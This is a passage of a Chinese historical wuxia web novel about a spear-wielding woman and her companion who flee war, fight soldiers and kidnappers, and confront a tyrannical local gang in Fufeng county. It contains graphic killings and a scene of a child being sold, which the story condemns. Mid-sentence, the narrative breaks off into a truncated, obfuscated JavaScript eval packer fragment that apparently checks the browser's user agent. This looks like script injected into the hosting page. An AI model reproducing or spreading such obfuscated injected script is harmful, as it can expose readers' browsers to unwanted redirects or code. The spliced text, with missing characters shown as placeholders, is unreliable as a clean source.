然后元长安顺势一挑,长枪如同一条灵动的龙,划破空气,直刺向另一名金卫兵。那名金卫兵试图格挡,但元长安的枪法快如疾风,枪尖穿透了他的铠甲,深深扎入了他的身体。士兵倒地不起,鲜血染红了地面。 剩下的四名金卫兵见状,不由得向后退去。 “给我杀了她!”为首的金卫兵踹了一脚离他最近的一个金卫兵,大吼道。 那四名金卫兵面面相觑,只得硬着头皮围上去。元长安虽然大病初愈,但长枪在她手中舞动得如同活物一般。她利用狭小的巷子,快速移动,让金卫兵们难以形成有效的包围。 一名金卫兵从左侧袭来,元长安一个旋身,长枪横扫而出,枪杆重重地砸在那名士兵的肋骨上,发出咔嚓一声,士兵痛苦地倒下,吐血而亡。另一名金卫兵从右侧攻来,元长安反手一枪,枪尖如同毒蛇般咬向对方的喉咙。士兵急忙后退,但还是被枪尖划破了脖颈,鲜血直流。 只剩下两名金卫兵,他们同时从两侧夹击,元长安双脚轻轻一点地面,身体腾空而起,长枪在空中画出一道弧线,先是一□□穿了一名金卫兵的心口,紧接着枪尖反转,又击穿了另一名金卫兵的腹部。两名金卫兵惨叫着倒在地上,再也无力起身。 就在此时,为首的金卫兵趁着元长安被牵制,悄无声息地绕到陈治和安乐的面前。不等元长安出手,为首者已经拔刀砍向陈治。关键时刻,安乐挺身挡在陈治的面前,背后中了一刀。 “安乐!” 元长安将自己的长生枪扔飞出去,准确无误地刺穿了那个为首者的身体,最后他趴在了地上,血水从身下流出。 来不及悲痛,这边的动静已经惊动了其他金卫兵,元长安拿回自己的长生枪,然后抓着陈治的手,一路狂奔。他们经过一处处燃烧的房屋,满地的尸身让他们减缓了速度,街上逃亡的百姓替他们间接阻拦了追杀的金卫兵。 直到他们二人翻过围墙,藏在供奉大晋开国皇帝宠妃的寺庙之中,才逃避了追杀。 “烽烟已起,战火燎原。长安,天下又乱了。”陈治依旧护着药包,没有破碎,只是沾上些血迹,安乐的鲜血。 “我要回清风寨看看。” “好,我陪你一起去。” 突然,寺庙钟声响起,那本该是祈福的声音,在此刻听起来却更像是一种悲鸣。钟声在空中久久回荡,似乎是在为这座遭受浩劫的县城祈祷。 ----------------- 吴永善引赤衣健卒万众,与章骐会师,共扼洪长磊、薛明礼及其雄师五万于碧云坪。然则尤秉华取道冠川县,疾驰少陵郡之东兴县,出其不意截吴永善之援兵,援兵主将吴永清遂陨于阵前。 援兵既绝,吴永善与章骐力有未逮,薛明礼遂督军奋力突围,尽歼吴永善、章骐之三万士卒。 与此同时,薛长鸣克恩济县,且频添援军以助势。 燕山军大将军聂鸿生亦发兵定襄,却遭桂阳郡主战派梁仲及洪长磊副将宇文和联袂阻击,聂鸿生不得已而暂退。 战局如丝如缕,牵一发而动全身焉。 ----------------- 尽管在来的路上为自己做好了准备,可当元长安站在距离清风寨稍远的地方,看着曾经热闹有生机的寨子,变成了现如今的废墟时,她握紧了长生枪。 陈治站在一旁,将元长安抱在怀里,伸出手覆上她握枪的那只手,劝慰道:“长安,我懂你。只是现在还不能替清风寨的所有人报仇,我们必须先活下去。” 元长安怎么会不明白,可她看到废墟之上来回走动的黑甲兵,就控制不住想要冲上去杀了他们。 “我宁可丢了这条命,也要杀光他们!”元长安的眼睛充血,眼神愤恨,活脱脱一副地狱恶鬼的模样。 “我陪你。”陈治将她抱的很紧,这个时候,没有谁比他更懂元长安。他们有共同的敌人,他们同样失去了最亲近的人。 “在这个世道,手里有权、有兵才是王道。” 短短的一句话,在元长安的心里激起层层涟漪。权?兵?她的目光落在手中的长生枪上。 ----------------- 元长安和陈治二人,从清阳县一路向东,路过长青县。二人奔波多日,铜板又要留下买吃食,便找了一个破庙歇脚。 夜幕降临,破庙内昏暗而寒冷,几缕微弱的火光在风中摇曳。庙宇的屋顶已经残破不堪,月光透过缝隙洒在地上,映出斑驳的光影。庙内的空间并不宽敞,但挤满了很多破衣烂衫的可怜人,他们或坐或躺,脸上写满了疲惫与绝望。 上位争权夺利,小民流离失所。不仅如此,因为战乱,一些山贼就会下山抢劫粮食和银子,这就更让普通老百姓没了活路。 庙宇的一角,一名瘦弱的男子蹑手蹑脚地从怀里拿出半块饼子,然后转过身背对着庙里的所有人,偷偷摸摸地吃了几口,甚至都不敢出声咀嚼。 一个年轻的男子猛地冲上前,将那个瘦弱的男子推到在地,手中的饼也掉在地上,现于众人眼前,除了元长安和陈治,皆咽了一下口水。 那个年轻男子一不做二不休直接上前捡起那半块饼,然后使劲往嘴里塞,显然是被饥饿逼到了绝境。 而那个瘦弱男子刚站起身就看到自己的饼子被别人塞在了嘴里,顿时崩溃大怒,他上前去扣那年轻男子的嘴,“你给我吐出来!吐出来!” 年轻男子比他壮一些,一抬手又将瘦弱男子推到在地,然后咽下最后一口饼子,头也不回地坐回了自己的位置。只留下那个瘦弱男子坐在地上,用头撞墙,嚎啕大哭。 陈治眼前一片模糊,看不清楚刚才到底发生了什么,但是他的耳朵很灵敏,听那动静也猜出个七七八八来。 就这么一个小插曲,已经不知不觉间在所有人的心中留下了一丝波澜。 果不其然,一个瘸子一瘸一拐地端着刚从外面乞讨的剩粥回来。一踏进破庙,庙里的人目光全都落下那碗粥上。 离瘸子最近的壮汉,想都没想,上手就去抢。还好瘸子反应够快,往后一撤,躲过了壮汉的贼手。紧接着,另一个汉子也动手去抢,一来一回,那个碗掉在地上碎了,粥也洒在地上。 一名少年见状,毫不犹豫地扑向那摊稀粥,像狗一样伸出舌头舔。其他人见状,纷纷效仿,趴在地上舔。 “你饿不饿?我这里还有一块馒头。”陈治摸索着,凑近元长安低声道。 元长安摇了摇头,想起他现在是看不清楚的状态,出声道:“不了,你自己吃吧。” “好。” 陈治从怀里掏出糙面馒头的那一刻,所有人的眼睛就直勾勾地盯着那个馒头。元长安竖起长枪,冷声道:“想死就直接说!” 透过月光,元长安身上的血迹依稀可见,其他人被她的气势所吓,收回目光,各干各的。也有几人不死心,看着陈治手中的糙面馒头咽口水。元长安凶狠的眼神扫过他们,眼中的杀意让他们心惊胆战。 陈治掰了一半馒头想递给元长安,因为看不清楚直接怼到她的嘴上。元长安看了他一眼,张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“走吧。我昨天想起来大当家在扶风县有一好友,好像是太平堂的堂主。我们去投奔他,让他替清风寨报仇,你觉得怎么样?”或许是发生了那么多变故,元长安现在对陈治越来越没有防备,甚至做出任何决定之前,都会问一下他。 陈治沉思片刻:“长安,你了解这个太平堂堂主吗?” “我也是之前听大当家和二当家说起的。” “现在这个局面,防人之心不可无。我们可以先去拜访一趟,然后试探一下那个堂主。若是个和大当家一样的好汉,我们便投奔。如果他不是,我们可就要小心行事。” “行,就按你说的做。”元长安侧头问道:“你确定要跟我一起冒险?” 陈治展颜一笑:“我现在可是需要你保护的,肯定是你去哪儿,我跟着去哪儿。” 即使身处破庙,陈治言谈举止皆透着贵气。更何况,他还长了一张完美无缺的脸。 他们二人所有举动都落在离他们不远处、靠在佛像旁的几个乞丐眼中。一个满脸络腮胡子的乞丐招了招手,示意身边的两个乞丐围过来。 “那个男的相貌好,说不定能卖个好价钱。” 其中脸上有疤的乞丐有些犹豫,“可是他身旁那个女的,一看就不好惹。” 另一个秃头乞丐抽了他脑袋一巴掌,恨铁不成钢道:“就一女的有什么好怕的,咱们三个怕这么一个黄毛丫头,说出去还不让人笑话。” 络腮胡赞同道:“老二说的没错,咱三个还搞不定一个丫头片子?再说了,你看那个男的,比咱们之前卖的男女,不知道好看多少。说不定,这一单,能多赚些银子,让咱们哥仨儿逍遥一段时间。” 提到银子,秃头立马就来了精神:“都听老大的!” 络腮胡低声道:“走。” 元长安就是起身到庙门口伸个懒腰的功夫,就听到陈治大声喊道:“你们这是干什么?!放开我!唔——” 她一回身就看到三个乞丐正在绑架陈治。一人从身后捂住他的嘴,两个人拿着绳子在绑他。他们动作熟练,其中一人用绳子紧紧缠住陈治的手腕,另一人则开始绑他的脚踝。 说时迟那时快,上去一脚踢中秃头的小腹,将其踢飞出去,撞在柱子上后滑落在地。然后一记重拳击中伤疤男的面部,伤疤男痛呼一声,松开了手,陈治终于可以大口呼吸。最后一脚踢在络腮胡的膝盖上,络腮胡顿时跪倒在地。元长安顺势一脚踩在他的背上,将其压在地上。 “找死!” 秃头大吼一声,拔出随身携带的匕首,恶狠狠地扑向元长安。元长安不慌不忙,踢开脚下的络腮胡,侧身避开秃头的攻击,然后一把抓住他持刀的手腕,用力一拧,匕首应声落地。紧接着,她用另一只手猛击对方的下巴,那名歹徒头部后仰,踉跄了几步,正巧后脑勺撞在了铜佛像上,没了呼吸。 “老三!我要杀了你!”络腮胡趴在地上,大口吐着鲜血,爬也爬不起来,只能干吼道。 而伤疤男缓过劲儿来,挥拳向元长安攻来。元长安轻松避开,反手一拳打在他的肋骨上,紧接着又是一记重拳击中他的脸部。这次伤疤男被打得鼻血直流,痛苦地倒在地上。 这边打斗的时候,庙里其他人都躲得远远的,生怕祸及自己。当元长安目光扫过他们的时候,他们都不由自主地浑身打颤。有的人心里想,还好昨天没抢他们的食物,否则躺在地上的肯定有自己。 元长安捡起地上的长生枪就要结果了他们的性命,络腮胡知道今天惹了硬茬,连忙求饶道:“女侠饶命,我们就是为了讨一口饭吃才干起这绑人卖人的买卖。” 然而元长安从来不听任何人解释,直接一□□穿了他的胸膛。另一旁即使捂着脸,也能感觉到脸上满是惊恐的伤疤男,吓得连连后退,口齿不清,元长安也给了他一个痛快。 “你没事吧?”元长安解决完那两个人之后,快步走到陈治身边,关切地问道。 陈治惊魂未定,但还是点了点头,“我没事,只是没想到他们竟然敢在光天化日之下绑人。”他的声音有些颤抖,但还是掩不住愤慨。 他是幸运的,有元长安保护。那么那些不幸的人呢?又会落得什么下场,不敢想象。 “这有什么,刚才大街上那些山贼抢劫杀人,不也是什么事情都没有嘛。我们走吧,去扶风县,说不定那里安全些。” “好。” 元长安和陈治离开之后,庙里的人过了很久才平定下来。他们看着庙里的三具尸体,饥饿战胜了恐惧。 路过一片树林,正巧有一块大石头摆在那里,他们二人便坐下来歇歇脚。元长安不经意间一瞥,就看到陈治的手腕上有几道红痕,想来一定是乞丐绑架他留下来的。而他手上一只提着药包,从来没有放下过。 “像你这样手无缚鸡之力的人,不敢想象你自己一个人怎么在这个世道活下去。还有,你一直护着这药干什么?” “这药对你有用,看现在着局势,以后不一定能买到。”陈治用衣袖遮住了红痕,清声道:“而且我不是一个人,有你陪我。” 这一陪,就是一辈子。 17. 逃至扶风县 恒王火烧清风寨的消息,许文达也已经收到,本以为守住了白崇山和黄石堡,即可万无一失。没想到郑吉从庆泽县绕过白崇山,更是派出亲兵玄甲卫闪击清风寨。 清风寨落入郑吉之手后,紧接着白崇山失守,随后佟如清与吴永善之弟吴永清左右夹击他留在黄石堡的守卫,黄石堡亦失守。 最后,吴永清南下支援惨遭埋伏,然后就是佟如清北上收复冠川县。 “是本侯大意了。”许文达靠在太师椅上,仰头轻叹。 一切都太快了。 然而,更让他糟心的是,扶风县的李宝荣,仗着手底下有一千人马,借他的地盘,作威作福。此人是个祸害,除之而后快。 “移一步而牵全局,一动一静皆关大局。”许文达感觉自己的头痛越来越严重了,身边人也劝他找大夫看看。可是讳疾忌医,他也不免俗。可能是得到的越多,就越怕些什么。 不过很快,管家小跑而来,给他带来了一个好消息,冲淡了疼痛。 “冯姨娘生了,是个儿子!” 又是一个儿子!许文达虽然没有世子刚出生那般大喜过望,但总归又生了个儿子,他的心情大好,刚才的感叹瞬间一扫而空。 然而,一个丫环慌慌张张地跑过来,见到许文达之后,“噗通”跪在地上:“姨娘血崩了!” 《晋史》记载:“梁王许时川,乃太祖龙潜时府中侧室所出。因生母早逝,遂由孝昭仁皇后抚育成人。虽非血脉相连,情逾母子。尝有一次,梁王身受重创,孝昭仁皇后昼夜守于榻前,直至梁王苏醒。及至孝昭仁皇后薨逝,梁王悲痛欲绝,数度昏厥,几欲追随皇后而去。” ----------------- 万续元年冬,曲河凝冱,吴永善于冰面筑桥,直至定襄边县单水,轻取之。尤秉华既克东兴县,纵兵劫掠,民怨沸腾,群起而攻之。佟如清率黑甲健卒万众,内外夹攻东兴,尤秉华力穷势蹙,退保临川郡。 洪长磊攻克常山郡洋口、广武等西五县,宇文和与梁仲合兵,席卷徐水郡三里、上坪等西北四县,马绍宗之势因之东扩南进。 薛长鸣统兵三万,下常山恩济、三阳、新乌三县,锋芒所向,更指向昱王之封地东莱郡。 ----------------- 元长安和陈治逃亡至扶风县,留宿在一户乡村人家的家中。 “家里也没什么吃食,你们二位凑合凑合吧。”胡婶子微驼着背,将刚煮好的野菜端上桌。 陈治一边道谢一边起身从胡婶子手中接过那两碗野菜,同时元长安和胡婶子的女儿胡三娘从西边内屋出来。 “陈兄弟,元姑娘你们今晚就住我的屋子。”胡三娘说着,又从东边的内屋抱出来一床被子,“不过你们小两口住一起也没事。” 陈治刚坐下又被惊得站了起来,“胡阿姐误会了,我们不是小两口。” 饶是对爱情没什么经验的元长安,这时候脸上也浮现羞涩,“我们……我们……” 胡三娘被他们突然的反应,给看傻眼了。如果她没看错的话,他们两个人敲门借宿的时候,举止亲密不下流。而且他们一进屋,即使不坐在一起,这俩人的眼神也没离开过彼此。 “哟,那是我看错了也说错了。”随后胡三娘有些为难道:“可是,家里只有两间房,外面又下着雪,你们……” 元长安转头通过窗户看到外面飘着雪花,虽然不是什么鹅毛大雪,但也够冷的。“没事,胡阿姐给我们准备两床被子就好。” 陈治见元长安不在乎,自己也不能扭捏,“都听长安的。” 闻言,胡三娘轻笑一声,打趣道:“你们还不是小两口呢?眼神是骗不了人的。” 胡婶子也在一旁搭话:“从你们一进门啊,我就发现陈小子的眼神,是一刻都离不开元丫头的身上。刚才三娘你带着元丫头去你屋里收拾,陈小子就一副魂不守舍的样子。” 面对她们母女的调侃打趣,元长安坐在凳子上,低着头扒拉着碗里的野菜。而陈治嘴角含笑,眼睛看着元长安,没有说话。 胡婶子和胡三娘也能看出来,郎有情,妾无知。 晚上,元长安喝完药,熄灭了最后一根蜡烛,整个房屋内漆黑一片。 她和陈治躺在同一张床上,虽然各盖各的被子,但气氛还有一点点旖旎。不过,一想到陈治现在是看不清楚,元长安就放下心来,闭上了眼睛。 而陈治的呼吸不稳且有些急促暴露了他现在的心态,放在被子下面的手攥了松、松了攥。 “唔——” 元长安闭上眼睛就睡着了,睡眠质量也是令陈治羡慕。她睡觉不老实,也有可能是太冷了,一直往陈治身边钻。陈治的感官、嗅觉以及听觉,因为眼病的原因,比常人要灵敏许多。身边人的气味在他鼻腔处回转,更甚至她的半个身子已经伸进了自己的被窝里,手和脚压在他的身上。 陈治的身体紧绷,一直深呼吸试图平息内心的躁动。可是,陈治一想到他和元长安之间的缘分,手不自觉地摸上她的手。 “长安,能再次相遇,真好。” 陈治侧过头,虽然看不到元长安的轮廓,但他的鼻子告诉自己,她离得很近、很近。 不知过了多久,陈治的呼吸变得平稳有规律。这时,一直熟睡的元长安睁开了眼睛,透过依稀的月光,她看到陈治嘴角若有若无的笑意。 再次相遇? “你到底些什么?”元长安轻声呢喃,她感受到手背传来的暖意,因为贪恋,所有她没有收回自己的手,就这样一直保持这个姿势,直到天亮。 翌日,雪停。 胡三娘拿着扫把在院子里扫出一条过道,胡婶子从厨房端着昨晚没吃完的野菜出来。 “婶子,这种事情还是让我来吧。”陈治一出院子就看到胡婶子忙碌的身影,赶忙上前接过她手中的碗筷,“我和长安在您家中叨扰,已经很不好意思了,怎么还能让您忙活来忙活去的。” 胡婶子越看眼前的小伙子越满意,笑着说道:“就走几步的事情,你先去把元丫头喊起来吃饭。” “好。” 饭桌上,胡婶子开口问道:“你们到扶风县,是准备干什么?” 元长安捧着碗喝着野菜汤,眼神飘向陈治。陈治放在碗筷,说道:“我们家那边在打仗,家被毁了,所以来扶风县投奔的。” 一听到打仗,胡婶子看向元长安和陈治的眼神多了几分心疼和可怜,“真是可怜孩子。”还不忘将自己碗里的野菜夹出一些分给元长安,“现在这个世道,老百姓就没几天安分日子可以过。” “谁说不是呢。”胡三娘端着自己的碗感叹道:“前些日子听说清阳县那边有个清风寨,不知道为什么,就被人放火烧了整个山寨,寨子里的人也都没跑出来。真是惨啊。” 陈治顾及到元长安,趁人不注意的时候,握着她的手,然后用口型告诉她:“有我在,不要多想。” 元长安对于清风寨的事情,一直是个心结。她虽然表面上不怎么提及这件事情,但不代表她心里不在意。 “你们准备去哪里投奔?”胡三娘问道。 陈治回道:“太平堂。”说着,他观察着胡三娘的神色。果然,听到“太平堂”三个字,她脸色大变,甚至眼神充满了恨意。 胡婶子直接惊呼一声,“你说什么?太平堂?你们是太平堂的人?!” 为了了解清楚太平堂,更是避免麻烦,陈治解释道:“我们不是太平堂的人,是因为曾经听别人说太平堂是个好去处。现在我们无家可归,就想着投奔太平堂。” “原来是这样。”胡婶子听完解释,顿时松了一口气,“我还以为你们是太平堂的人。不过话又说回来,你们还是另找投奔之所吧,那些说太平堂是个好地方的人,都是在骗你们,那简直就是地狱!” 一直不说话的元长安开口道:“是发生了什么事情吗?” “我来说吧。”胡三娘接话道:“我们扶风县原本是反晋军孙本良的驻扎之地,后来周城侯攻打扶风县剿灭孙本良的部队,太平堂的堂主李宝荣,出了不少力。也正因为这样,李宝荣就由九顶山上的山贼,变成了扶风县的一条地头蛇。” 胡婶子愤恨有加:“那个李宝荣就是个杀千刀的!抢夺粮食、强抢民女,就没有他办不出来的事情!早晚有一天,他会被千刀万剐,死后焚尸!” “娘,别气坏了身子。”胡三娘起身顺了顺胡婶子的后背,让她平复怒火,转而对陈治和元长安道:“周城侯的大军退出扶风县之后,他就成了当地的土皇帝。仗着在九顶山上有一千多的人马,烧杀抢掠,无恶不作。你们不知道,他还学皇帝娶三千佳丽。只要是扶风县的百姓,有女儿的都把女儿藏在家里,不让出门。怀了孕的,也不敢生女儿。就是害怕被李宝荣看上,给抢走。” “啧,”元长安实在没忍住,“三千佳丽也不怕虚了身子。” 陈治抬手轻弹她的额头,“好好吃饭。” 元长安只好闭嘴,听他们说话。 “既如此,我们还是另做打算吧。怀久多谢胡婶子和胡阿姐告知,让我和长安避免了一些麻烦。” 胡三娘提议道:“如果你们打算留在扶风县,而太平堂又去不得,那不妨到县里看看去。正好我要去县里把编好的络子卖了,饭后我带着你们去。” “那也行。” ----------------- 余耀为了保证行动的隐秘性,要求所有士兵轻装简行,马匹的蹄铁被裹上了布料,以减少行进时的声音。 一部分士兵负责探路,确保前方道路安全;另一部分则作为前锋,随时准备应对可能遇到的敌人;还有一些士兵则负责后勤保障,确保补给线畅通无阻。 山路崎岖,丛林茂密,大军开始沿着预定路线前进,最终抵达李宝荣在九顶山上的匪窝。 “他娘的,真冷啊。”身边的小罗忍不住地骂娘,“余军侯,什么时候动手?” “再等等,现在还不是时候。”余耀被冷风吹得直打哆嗦,“这才刚入冬,怎么这么冷?” 小罗抽着鼻子,道:“谁知道呢,余军侯咱还得等到什么时候?” 余耀搓着手,“先摸清楚里面的情况,不能滥杀无辜。再者,让弟兄们休息休息,这山路又绕又滑,也是废了不少体力才上来。” “是。” ----------------- 雪停天放晴,县城街道上的雪都被堆在路的一旁,店铺也陆陆续续挂起了招牌。 陈治一早因为监督着元长安喝药,以至于胡三娘带着他们坐牛车去县城的路上闷闷不乐。到了县城,发现街上没有什么人。下了牛车,胡三娘特意叮嘱道:“我先去把络子卖了,你们跟着我别乱跑。” 陈治发现这胡三娘倒是和自己的娘亲很像,总喜欢唠叨。“我和长安就在这附近转一转,等胡阿姐卖完了络子,就在这里等我们就行。” 胡三娘想了想,觉得既然来了县里,就没有拘着他们理由。“好,那你们有什么事情,就顺着这条路去阿三裁缝铺找我。” “行。” 陈治和元长安与胡三娘分别之后,就去了铁匠铺子。 “老板,你看这把枪能不能给我们改造一下,我这里有几张设计图纸,你看看。”陈治拉着不明所以的元长安,从她手上拿过长生枪,以及从怀里掏出几张图纸,一起交给老板。 老板接过长生枪,仔细端详片刻,随后又看了看图纸:“长枪枪杆直长匀称,若要改成伸缩枪杆,可能会上窄下宽。不过也没关系,我能做,更何况有这图纸事儿就简单,不出半个时辰,我就能给你们弄好。” 闻言,陈治脸上浮现喜色,从荷包里拿出银子交给老板。“那我们半个时辰之后来取。” “好。” 元长安原本不高兴地跟着陈治,然后脑子突然灵光,“你让我带着长生枪,就是为了给我改造?” “不生气啦?”陈治笑着说道:“长枪拿着不方便,不比刀剑等短兵器,可以随身携带。我呢,就给你做了一个枪杆可伸缩的设计图,可短可长,拿着也方便。” “真的?”元长安一听到自己改造后的长枪枪杆可长可短,眼睛放光,也顾不得自己还在生闷气:“那你都不让我看看。” 陈治笑着道:“保持神秘。” 等待的半个时辰,是元长安最难熬的半个时辰,激动的心情难以抑制,她已经迫不及待地想看看枪杆能伸缩的长生枪是什么样子的。 一到时间,元长安就拉着陈治去了铁匠铺子,而那个老板也刚好完成。 枪杆由一根长杆变成了多节木杆,每一节之间都镶嵌着精巧的铜环,通过巧妙的榫卯结构相连。枪杆末端有一个小小的机关,轻轻一按,枪杆便缓缓伸出,直至恢复成标准的长度。再按一次,枪杆又逐渐收缩,最终变得只有原来的三分之一大小。 工匠被陈治奇思所折服,“它采用了古老的机关术,可以伸缩自如。这位公子的设计,真是太精妙了。” “怎么样?顺不顺手?”陈治问道。 元长安走到铺子外面,耍了几招之后,适应了伸缩枪杆,“比我之前还顺手。”说完便将缩起来的长生枪别在腰间,就像别着一把剑。 “赶紧去找胡阿姐,别让她等着急了。” “我们走吧。” 铁匠铺的老板看到他们二人离去之后,重新拿起图纸,脸上尽是欣赏和惊叹。 《机巧汇编》中记载:“晋室之季,世有巧匠,非出名门,亦非显达,而心思独特,创制变长之兵器。此器形似长枪,而异于常制。其枪杆采多节上等木料精心打造,节节相接处,嵌以精细铜镮,其间运用榫卯结构,精密无间,尽显匠心独运。枪尾暗藏玄机,设有机括,仅需轻按,枪身即缓缓展开,直至标准长度。再按之,则枪杆复缩,缩短为原长之三分之一,便于携 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“他们就是太平堂的人,我们赶紧走。”胡三娘一看到那些家丁,心里就发毛,连忙扯着元长安和陈治躲了起来。 只听见一个家丁说道:“你爹生前欠了我们太平堂半碗粮食,到日子你们家没钱没粮还我们,就将你抵押给我们太平堂。春花,我们家老爷对你可是仁至义尽,不逼不抢,是你们家里人把你卖给我们家老爷,你可别不识好歹。” “你们害死了我爹,我死都不会跟你们回太平堂的!”春花颤抖着身子,但眼神坚定,在那些家丁发愣的时候,一头撞在了墙壁之上,鲜血顺着墙壁到地面,人也是如此。 刚才说话的家丁一脸扫兴,“走吧,真他娘的晦气。” 刚一转身,就看到一个乞丐牵着一个小女孩跪在他们面前,苦苦乞求道:“爷,我把我闺女卖给李老爷,求李老爷赏我一口吃的。” 家丁低头看着那发呆的小姑娘,脸上脏兮兮的,穿的也破,似乎都能闻到臭味。他赶忙捂住鼻子,驱赶道:“我们家老爷不是什么人都要,就你这闺女,我们家老爷还看不上。滚滚滚,臭死了。” 那个乞丐上前抓住家丁的裤脚,“这位爷,别看我闺女现在脏,你用水洗洗,洗干净了可好看了。”说着,往手里吐了几口唾沫,就往小姑娘脸上擦,虽然没有擦干净,但也能看清楚面容。 家丁见那小姑娘确实长得还不错,“你闺女现在多大?” “刚满十三,是个雏儿,嫩着呢。”乞丐抬起头冲着家丁□□一笑,“保准李老爷满意。” 家丁看了一眼死去的春花,又看了一眼小姑娘,“行,让她跟我们走吧。”他掏出一串铜板丢在地上,乞丐像狗一样爬过去,捡起揣在怀里。 小姑娘被家丁带走,即便如此,她依旧是呆愣的模样。 胡三娘气不过,骂了一句:“有这么当爹的吗?竟然把自己的亲闺女卖给一个畜生。” “那小姑娘不是他亲闺女,要么是拐来的,要么就是偷来的。你看她从头到尾,不哭不闹,一直呆愣愣的,应该是中了人贩子的迷药才会这样。”陈治一眼就看出来端倪,但也是真生气:“真是可恶!” 元长安一言不发,直接跟上那几个家丁,一边走一边拿出面巾蒙在脸上,直到跟着他们到了一个小巷子,她一个飞身,落在那些家丁面前。 “你是什么人?想干什么?”其中一个家丁被吓了一跳,说话的声音也没有刚才的嚣张。 元长安只是静静地看着他们,一句话也不说。 那几个家丁互相交换了一下眼色,随后挥舞着手中的木棍,步步紧逼过来。而元长安也抽出长生枪,按动机关,□□变长枪。 当双方的距离缩短到一定范围内时,元长安突然动了。只见她身形一晃,手持长生枪如同一道闪电般向前冲去。 第一个家丁挥棍砸来,但元长安的动作敏捷无比,她轻轻一侧身,枪尖顺势一挑,家丁手中的木棍顿时被挑飞。紧接着,她一个回旋,长枪如同龙蛇出洞,枪尖在瞬间刺穿了另一个家丁的衣襟,吓得对方连连后退。 剩下的家丁见状,从四面八方攻来。元长安一边抵挡着家丁们的进攻,一边寻找机会营救小姑娘。她的枪法既迅猛又精准,每当家丁的棍棒落下时,她总是能在第一时间用枪身格挡开。在一片混乱之中,元长安突然加快了速度,一个跃步来到了小姑娘身边。 她用长枪的枪柄轻轻一拨,将挟持她的家丁逼退。紧接着,他伸出一只手,轻轻地将小姑娘拉到了自己的身后。 最终,在她一枪挑死一个家丁之后,那些家丁纷纷丢下武器,狼狈逃窜。 元长安刚收起长生枪,就听到了陈治的声音:“长安。” “刚救下的。”元长安将小姑娘往他面前一推,“你看看能不能替她解了这迷药。” 陈治见她转移注意力,没忍住在她额头轻轻敲了一下,“下次不许再冒险了,有什么事,要提前说一声。你这突然消失,很让人担心。” 元长安低垂着头,看不到她的神情,也不知道她听没听进去。 “可算是找到你们了,累死我了。”胡三娘小跑过来,看到小姑娘的刹那,眼中先是诧异再是欣喜,“这是从那几个狗奴才手上救下的?” 元长安答:“是,等一会儿让陈怀久看看她的情况,然后再帮她找一找家里人。” 陈治见小姑娘的脉象平稳正常,应是没什么大碍,随后在她的百会穴处按压大概一盏茶的功夫,小姑娘原本呆滞的眼神,慢慢变得清醒。 “小姑娘,你叫什么名字?家在什么地方?”胡三娘蹲下身子,温柔地询问道。 小姑娘应该是没缓过神,愣了片刻后,道:“我叫苗苗,我没有家,爷爷奶奶,还有爹娘都死了。” 说着,苗苗嚎啕大哭,哭得胡三娘心里难受。她抱住苗苗,轻声安慰道:“苗苗乖,不哭,跟姐姐回家,姐姐给你最好吃的。” 苗苗哭了一会儿,声音渐渐变小,抽泣道:“谢谢姐姐。” 胡三娘对苗苗稀罕的不行,一路上和她说说笑笑的,苗苗也在一点一点的回应。 元长安和陈治跟在后面,还是挺有感触的。陈治道:“恻隐心多,遇艰难,中途获救。长安,他日定有好报。” “听不懂。”元长安最讨厌听这些文绉绉的话了,“只不过是一时手痒,想练练刚改造好的兵器顺不顺手,仅此而已。” 陈治也不揭穿她,“你说什么就是什么,我不反驳。但是……”继而,他一脸正经地说道:“你已经荒废学业很久了,今天回去之后,必须学一点。” 元长安耸了耸肩膀,很是无奈地道:“可惜,你没有书。” 然而,陈治浅然一笑:“长安是不是忘了,我过目不忘,只要是看过的东西,都会记在脑子里,很难忘记。放心,虽然没有书,但是我的脑子就是书。” 元长安很想用长生枪,戳爆他的头! 18. 惩治李宝荣 回到家中,胡婶子听完胡三娘说完苗苗的事情,眼中的心疼就没消失过。 吃饭的时候,苗苗碗里是满满的,并且胡婶娘和胡三娘还一直将自己碗里的野菜夹给她。 “这孩子,真是可怜人。家里人都……自己还差点被卖进太平堂。”胡婶娘是个感性的人,说着说着,眼眶就开始泛红。 胡三娘感叹道:“这种日子什么时候才能是个头儿啊。” 说话间,就听到外头一阵马蹄声。 胡婶子立马反应过来,起身将门给关得死死的。胡三娘也搬着凳子抵在门的后面,随后拉着元长安和小姑娘就躲在东屋,胡婶子和陈治紧跟在后面。 “这是怎么了?”元长安不解道。 胡三娘做出噤声的手势,然后将声音压到最低:“太平堂的人又来抓女人了,千万别出声,被他们抓走可是生不如死。” 然而,这次太平堂的人和以往不同,直接砸门闯屋,见到屋里有女人就直接抢走,连小女孩都不放过。 屋外哀嚎声一片,陈治透过窗户缝隙,看到一个身穿绿布麻衣的家丁,一只手抱着哭闹不止的小女孩,另一只手挥刀砍死了那个小女孩的父亲。而她的母亲,已经被那群狗贼绑上了马。 “把这个门撞开!” “砰!”的一声响,门板在几下猛烈撞击后轰然倒地,然后风风火火地闯进来两个家丁,一个头戴幞头,另一个人则戴着巾帻。二人不由分说,抓着胡三娘和元长安就往外走。 胡三娘抱着苗苗拼死抵抗,而元长安直接拧断了那只抓着自己的胳膊。 巾帻人大叫一声,然后握着已经断了的胳膊蹲在地上痛苦不已。而抓着胡三娘的幞头人见状,立马松开了胡三娘,然后从腰间拔出佩刀,向元长安砍来。 于此同时,陈治带着胡婶子和胡三娘、苗苗跑到外面的厨房,并且把门关上,躲了起来。胡三娘担心道:“元姑娘还在那里,会不会有危险。” “放心,”陈治胸有成竹道:“长安厉害着呢。” 元长安迅速侧身躲避,几乎是在刀锋即将触及她的瞬间完成了动作。她的身体轻盈得像一只猫,利用幞头人用力过猛造成的空档,轻松绕到了对方身后。 紧接着,元长安抓住机会,一手抓住了幞头人握刀的手腕,另一手则巧妙地扣住了对方的手肘关节,使出了一记标准的擒拿技巧。随着一声脆响,幞头人手中的刀落到了地上,而元长安已经稳稳地接住了它,并且划了他的脖子。 巾帻人见同伴已死,吓得直接跪在地上求饶:“女侠饶命,女侠饶命!这都是我们堂主让我们干的,我们只是下人,不能不听啊。女侠求您大人不记小人过,饶了我这条狗命吧。” “你把他拖出去,让你们的人都看看。” 